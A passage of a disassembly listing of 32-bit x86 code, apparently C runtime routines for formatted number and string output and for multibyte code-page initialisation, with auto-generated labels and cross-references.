					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0627h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2650782h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 28A0CD5h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		nop
		call	near ptr 28A0627h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0


